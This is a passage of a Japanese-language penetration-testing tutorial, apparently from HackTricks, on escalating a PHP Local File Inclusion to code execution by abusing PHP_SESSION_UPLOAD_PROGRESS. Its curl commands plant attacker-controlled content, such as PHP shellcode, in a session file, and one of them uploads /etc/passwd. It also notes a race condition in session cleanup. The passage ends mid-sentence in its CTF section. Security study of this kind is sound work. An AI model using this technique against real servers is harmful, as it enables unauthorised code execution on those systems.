# LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS {{#include ../../banners/hacktricks-training.md}} ## 基本情報 **セッションがない**場合でも、**Local File Inclusion**を見つけた場合、`session.auto_start`が`Off`であっても、**`session.upload_progress.enabled`**が**`On`**であり、**multipart POST**データに**`PHP_SESSION_UPLOAD_PROGRESS`**を提供すると、PHPは**セッションを有効にします**。 ```bash $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' $ ls -a /var/lib/php/sessions/ . .. $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' $ ls -a /var/lib/php/sessions/ . .. $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd' $ ls -a /var/lib/php/sessions/ . .. sess_iamorange In the last example the session will contain the string blahblahblah ``` **`PHP_SESSION_UPLOAD_PROGRESS`**を使用すると、**セッション内のデータを制御**できるため、セッションファイルを含めると、制御できる部分(例えば、phpシェルコード)を含めることができます。 > [!NOTE] > インターネット上のほとんどのチュートリアルでは、デバッグ目的で`session.upload_progress.cleanup`を`Off`に設定することを推奨していますが、PHPのデフォルトの`session.upload_progress.cleanup`は依然として`On`です。これは、セッション内のアップロード進行状況ができるだけ早くクリーンアップされることを意味します。したがって、これは**レースコンディション**になります。 ### CTF この技術がコメントされた[**オリジナルのCTF**](https://blog.orange.tw/2018/10/)では、レースコンディションを悪用するには不十分で、読み込まれるコンテンツも`@